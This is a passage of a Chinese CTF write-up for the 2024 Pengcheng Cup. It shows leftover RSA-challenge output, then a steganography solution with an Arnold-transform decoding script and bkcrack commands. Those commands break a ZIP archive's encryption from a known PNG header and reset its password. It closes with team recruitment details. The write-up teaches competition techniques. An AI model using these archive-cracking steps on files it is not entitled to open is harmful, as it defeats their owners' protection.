b'flag{3z_r5a_15_r34lly_345y_w1sh_u_c0uld_g3t_f14g}xcbxdfrx1fxf6Ex04 x83_Uxe5Ixefx82xdex8axe4px95R*x89.1<xc2x9d[OU#x19 x0fx0eQxe9xaax83xb1xfeG8x99yB`x04xecxa9x13x85@xb1Rx97hxb4xfdxaa]pyxdfx87x08xafxf6xdafx0bx00xf2x0cxc9l8x03'
185481515194143782629848768423138042355933648482379549420291561784997831815474001280273516803177031942054798714514735369708647155997601893324974371955541740293939077387711494472453318521916952098791700720932803056849146562212334873013410517911829459876694533607863928840841361281306874481568527341251416058656
185481515194143782629848768423138042355933648482379549420291561784997831815474001280273516803177031942054798714514735369708647155997601893324974371955541740293939077387711494472453318521916952098791700720932803056849146562212334873013410517911829459876694533607863928840841361281306874481568527341251416058656
185481515194143782629848768423138042355933648482379549420291561784997831815474001280273516803177031942054798714514735369708647155997601893324974371955541740293939077387711494472453318521916952098791700720932803056849146562212334873013410517911829459876694533607863928840841361281306874481568527341251416058656
185481515194143782629848768423138042355933648482379549420291561784997831815474001280273516803177031942054798714514735369708647155997601893324974371955541740293939077387711494472453318521916952098791700720932803056849146562212334873013410517911829459876694533607863928840841361281306874481568527341251416058656
185481515194143782629848768423138042355933648482379549420291561784997831815474001280273516803177031942054798714514735369708647155997601893324974371955541740293939077387711494472453318521916952098791700720932803056849146562212334873013410517911829459876694533607863928840841361281306874481568527341251416058656
145464123107687881470264182476795662265225742347746341489848566619864603106122895746192690745258851981290672724990534785316690020048568334709174136370151759924257613002394280790196426382156483752408190381002887686218941893147627375440323107187835503811247000628531649212926072393388152924302756076205350895917
145464123107687881470264182476795662265225742347746341489848566619864603106122895746192690745258851981290672724990534785316690020048568334709174136370151759924257613002394280790196426382156483752408190381002887686218941893147627375440323107187835503811247000628531649212926072393388152924302756076205350895917
145464123107687881470264182476795662265225742347746341489848566619864603106122895746192690745258851981290672724990534785316690020048568334709174136370151759924257613002394280790196426382156483752408190381002887686218941893147627375440323107187835503811247000628531649212926072393388152924302756076205350895917
207952679379922731476465083308000851526158360719158381579470321929714416291161621671862076468477973944694812949498659539415995877099403971136580300785476005841160064065819680131991095972072713863723336089943428777953915397505142733197649656729432864522113347443437216120834767023616839019672946882454444075808
207952679379922731476465083308000851526158360719158381579470321929714416291161621671862076468477973944694812949498659539415995877099403971136580300785476005841160064065819680131991095972072713863723336089943428777953915397505142733197649656729432864522113347443437216120834767023616839019672946882454444075808
207952679379922731476465083308000851526158360719158381579470321929714416291161621671862076468477973944694812949498659539415995877099403971136580300785476005841160064065819680131991095972072713863723336089943428777953915397505142733197649656729432864522113347443437216120834767023616839019672946882454444075808
207952679379922731476465083308000851526158360719158381579470321929714416291161621671862076468477973944694812949498659539415995877099403971136580300785476005841160064065819680131991095972072713863723336089943428777953915397505142733197649656729432864522113347443437216120834767023616839019672946882454444075808
207952679379922731476465083308000851526158360719158381579470321929714416291161621671862076468477973944694812949498659539415995877099403971136580300785476005841160064065819680131991095972072713863723336089943428777953915397505142733197649656729432864522113347443437216120834767023616839019672946882454444075808
207952679379922731476465083308000851526158360719158381579470321929714416291161621671862076468477973944694812949498659539415995877099403971136580300785476005841160064065819680131991095972072713863723336089943428777953915397505142733197649656729432864522113347443437216120834767023616839019672946882454444075808
167935287293466830316880497361658471435450454584525173649027326764581187581810516137781250410559793983930686959974458955024038741150370412520780065200086025471478599680502466449734203832312245517339825750013513407323710728440435235624562246005438908456665814464104936492919478135698117462407175617408378913069
167935287293466830316880497361658471435450454584525173649027326764581187581810516137781250410559793983930686959974458955024038741150370412520780065200086025471478599680502466449734203832312245517339825750013513407323710728440435235624562246005438908456665814464104936492919478135698117462407175617408378913069
218202276236450765513261314788536200370587963047970424253166267393276890962765300537058837422780684131692589806543163331991487284987600723889875000060675925180678830400368779738664959958145580384278583172226756677358011950852177112741591496597553586516139003241048989310609844043169179869715755863388595667182
218202276236450765513261314788536200370587963047970424253166267393276890962765300537058837422780684131692589806543163331991487284987600723889875000060675925180678830400368779738664959958145580384278583172226756677358011950852177112741591496597553586516139003241048989310609844043169179869715755863388595667182
218202276236450765513261314788536200370587963047970424253166267393276890962765300537058837422780684131692589806543163331991487284987600723889875000060675925180678830400368779738664959958145580384278583172226756677358011950852177112741591496597553586516139003241048989310609844043169179869715755863388595667182
218202276236450765513261314788536200370587963047970424253166267393276890962765300537058837422780684131692589806543163331991487284987600723889875000060675925180678830400368779738664959958145580384278583172226756677358011950852177112741591496597553586516139003241048989310609844043169179869715755863388595667182
218202276236450765513261314788536200370587963047970424253166267393276890962765300537058837422780684131692589806543163331991487284987600723889875000060675925180678830400368779738664959958145580384278583172226756677358011950852177112741591496597553586516139003241048989310609844043169179869715755863388595667182
218202276236450765513261314788536200370587963047970424253166267393276890962765300537058837422780684131692589806543163331991487284987600723889875000060675925180678830400368779738664959958145580384278583172226756677358011950852177112741591496597553586516139003241048989310609844043169179869715755863388595667182
218202276236450765513261314788536200370587963047970424253166267393276890962765300537058837422780684131692589806543163331991487284987600723889875000060675925180678830400368779738664959958145580384278583172226756677358011950852177112741591496597553586516139003241048989310609844043169179869715755863388595667182
190406451479245779163496812246521280605675166821304005808206086909297772057498136529369810075860735986570701194958383124731387462252172490332385994030020291018699586358610652109271981282468007282271461119024139128428479563733243095808801384823042313102084628299678223772912883878008082000511595158611406930221
190406451479245779163496812246521280605675166821304005808206086909297772057498136529369810075860735986570701194958383124731387462252172490332385994030020291018699586358610652109271981282468007282271461119024139128428479563733243095808801384823042313102084628299678223772912883878008082000511595158611406930221
190406451479245779163496812246521280605675166821304005808206086909297772057498136529369810075860735986570701194958383124731387462252172490332385994030020291018699586358610652109271981282468007282271461119024139128428479563733243095808801384823042313102084628299678223772912883878008082000511595158611406930221
190406451479245779163496812246521280605675166821304005808206086909297772057498136529369810075860735986570701194958383124731387462252172490332385994030020291018699586358610652109271981282468007282271461119024139128428479563733243095808801384823042313102084628299678223772912883878008082000511595158611406930221
218202276236450765513261314788536200370587963047970424253166267393276890962765300537058837422780684131692589806543163331991487284987600723889875000060675925180678830400368779738664959958145580384278583172226756677358011950852177112741591496597553586516139003241048989310609844043169179869715755863388595667182
218202276236450765513261314788536200370587963047970424253166267393276890962765300537058837422780684131692589806543163331991487284987600723889875000060675925180678830400368779738664959958145580384278583172226756677358011950852177112741591496597553586516139003241048989310609844043169179869715755863388595667182
218202276236450765513261314788536200370587963047970424253166267393276890962765300537058837422780684131692589806543163331991487284987600723889875000060675925180678830400368779738664959958145580384278583172226756677358011950852177112741591496597553586516139003241048989310609844043169179869715755863388595667182
218202276236450765513261314788536200370587963047970424253166267393276890962765300537058837422780684131692589806543163331991487284987600723889875000060675925180678830400368779738664959958145580384278583172226756677358011950852177112741591496597553586516139003241048989310609844043169179869715755863388595667182
218202276236450765513261314788536200370587963047970424253166267393276890962765300537058837422780684131692589806543163331991487284987600723889875000060675925180678830400368779738664959958145580384278583172226756677358011950852177112741591496597553586516139003241048989310609844043169179869715755863388595667182
212877615665024728010113127131384089775899879058082837967384847054014356533185756920958369741161677989210715429942307294438736183353974568143991922859954556565920573036718837768809758732623769047203096488034764849533248399026050955993040523640645717747503442135251511052906289620318046538616014699814434947373
212877615665024728010113127131384089775899879058082837967384847054014356533185756920958369741161677989210715429942307294438736183353974568143991922859954556565920573036718837768809758732623769047203096488034764849533248399026050955993040523640645717747503442135251511052906289620318046538616014699814434947373
flag{3z_r5a_15_r34lly_345y_w1sh_u_c0uld_g3t_f14g}
Misc
Simple_steganography-pcb2024
首先我们使用7z打开压缩包,发现存在一个奇怪的图片,直接解压无法打开
这里转折了一下,用了神奇的qq浏览器然后分离出来一个jpg图片
直接一眼看出来是猫脸变换,联想到a=7,b=35
# -*- coding: UTF-8 -*-
import cv2
import numpy as np
import os
def arnold_decode(image, shuffle_times, a, b, output_file='decoded_image.png'):
"""
Decodes an RGB image that was encoded by the Arnold transformation.
Args:
image (np.array): The RGB image encoded by Arnold transformation.
shuffle_times (int): Number of iterations for shuffling.
a (int): Arnold transformation parameter.
b (int): Arnold transformation parameter.
output_file (str): Filename for saving the decoded image.
Returns:
np.array: The decoded image.
"""
if image is None:
raise ValueError("Image not loaded. Check file path or file integrity.")
# Create a new image with the same shape as the input
decode_image = np.zeros_like(image)
h, w = image.shape[:2]
N = h
for _ in range(shuffle_times):
for ori_x in range(h):
for ori_y in range(w):
new_x = ((a * b + 1) * ori_x - b * ori_y) % N
new_y = (-a * ori_x + ori_y) % N
decode_image[new_x, new_y, :] = image[ori_x, ori_y, :]
cv2.imwrite(output_file, decode_image, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
return decode_image
image_path = '/home/Work/pcb/00000000.jpg'
img = cv2.imread(image_path)
if img is None:
raise FileNotFoundError(f"Image at path '{image_path}' not found. Please check the file path.")
for i in range(1000):
output_filename = f'./decoded_image_{i}.png'
arnold_decode(img, shuffle_times=7, a=35, b=i, output_file=output_filename)
最终是在变换次数是7的时候得到应该是原始图片
得到后一半的flag
3_h4ck1ng}
还有一个secret.zip压缩包
所以呢,我们刚刚一直没有找到相关的任何线索,发现一个png图片和一个svg文件,所以我们就思考是不是能够直接通过png的头进行爆破
将89504E470D0A1A0A0000000D49484452
放入
开始爆破
bkcrack.exe -C secret.zip -c flag.png -p pngheader -o 0
修改压缩包密码
bkcrack.exe -C secret.zip -k f45dd89f e3e929fb 3202ba17 -U flag.zip easy
爆破图片宽高得到前半部分
flag{We_11k
合并起来flag
flag{We_11k3_h4ck1ng}
文末:
欢迎师傅们加入我们:
星盟安全团队纳新群1:222328705
星盟安全团队纳新群2:346014666
有兴趣的师傅欢迎一起来讨论!
PS:团队纳新简历投递邮箱:
责任编辑:@Elite
原文始发于微信公众号(星盟安全):2024鹏城杯(初赛) WP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论